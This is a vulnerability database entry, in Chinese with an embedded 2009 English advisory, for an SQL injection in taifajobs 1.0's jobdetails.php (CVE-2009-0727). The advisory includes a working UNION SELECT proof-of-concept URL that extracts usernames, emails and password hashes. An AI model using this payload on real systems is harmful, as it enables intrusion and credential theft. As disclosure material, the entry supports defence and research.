Taifajobs 'jobdetails.php' SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117413 漏洞类型 SQL注入
发布时间 2009-02-23 更新时间 2009-06-09
CVE编号 CVE-2009-0727 CNNVD-ID CNNVD-200902-684
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/8098
https://cxsecurity.com/issue/WLB-2009020275
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-684
|漏洞详情
taifajobs是一款在线人力资源管理系统。taifajobs1.0版本及其早期版本的jobdetails.php中存在SQL注入漏洞。远程攻击者可以借助jobid参数,执行任意SQL指令。
|漏洞EXP
____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \  
 |    __)_ /    \  \//    ~    \/   |   \ 
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/ 

                                        .OR.ID
ECHO_ADV_103$2009

-----------------------------------------------------------------------------------------
[ECHO_ADV_103$2009] taifajobs <= 1.0 (jobid) Remote SQL Injection Vulnerability
-----------------------------------------------------------------------------------------

Author       : K-159
Date         : February, 23 th 2009
Location     : Jakarta, Indonesia
Web          : http://e-rdc.org/v1/news.php?readmore=126
Critical Lvl : Medium
Impact       : Manipulation of data / Exposure of sensitive information
Where        : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : taifajobs
version     : <= 1.0
Vendor      : http://sourceforge.net/projects/taifajobs
Description :

In job recruitment system job seekers and recruiters post their details.
The job seekers create an online resume on their profiles 
and recruiters can add the organization's information, post & manage job advertisements & applications.

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~

Input passed to the "jobid" parameter in jobdetails.php page is not properly verified before being used 
in sql queries.This vulnerability can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

Successful exploitation allows attacker retrieving users email,loginname and md5 hash password.


Poc/Exploit:
~~~~~~~~

http://www.example.com/[path]/jobdetails.php?jobid=-5 union select 1,2,3,4,5,6,concat(admin,0x3a,email,0x3a,loginname,0x3a,pass),8,9,0,1,2,3,4,5,6,7,8,9,0 from users--

Dork:
~~~
Google : N/A


Solution:
~~~~~

- Edit the source code to ensure that input is properly verified.

Timeline:
~~~~~~~

- 12 - 02 - 2009 bug found
- 13 - 02 - 2009 vendor contacted but no response
- 23 - 02 - 2009 advisory released
---------------------------------------------------------------------------

Shoutz:
~~~
~ ping - my dearest wife, zautha - my beloved son, and my next beloved daughter "welcome to the world".
~ y3dips,the_day (congratz for the baby),Negatif,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v,az001,
the_hydra,neng chika, str0ke
~ scanners [at] SCAN-NUSANTARA and SCAN-ASSOCIATES
~ SK,Abond,pokley,cybertank, super_temon,whatsoever,b120t0,inggar,fachri,adi,rahmat,indra
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,cyb3rh3b,cR4SH3R,ogeb,bagan,devsheed
~ dr188le,cow_1seng,poniman_coy,paman_gembul,ketut,rizal,ghostblup,shamus,
kuntua, stev_manado,nofry,k1tk4t,0pt1c,k1ngk0ng
~ newbie_hacker@yahoogroups.com
~ milw0rm.com, macaholic.info, unitiga.com, mac.web.id, indowebster.com
~ #aikmel #e-c-h-o @irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~

K-159 || echo|staff || adv[at]e-rdc[dot]org
Homepage: http://www.e-rdc.org/

-------------------------------- [ EOF ] ---------------------------------- 

# milw0rm.com [2009-02-23]
|参考资料

来源:BID
名称:33864
链接:http://www.securityfocus.com/bid/33864
来源:BUGTRAQ
名称:20090223[ECHO_ADV_103$2009]taifajobs<=1.0(jobid)RemoteSQLInjectionVulnerability
链接:http://www.securityfocus.com/archive/1/archive/1/501183/100/0/threaded
来源:MILW0RM
名称:8098
链接:http://www.milw0rm.com/exploits/8098
来源:OSVDB
名称:52256
链接:http://osvdb.org/52256
来源:MISC
链接:http://e-rdc.org/v1/news.php?readmore=126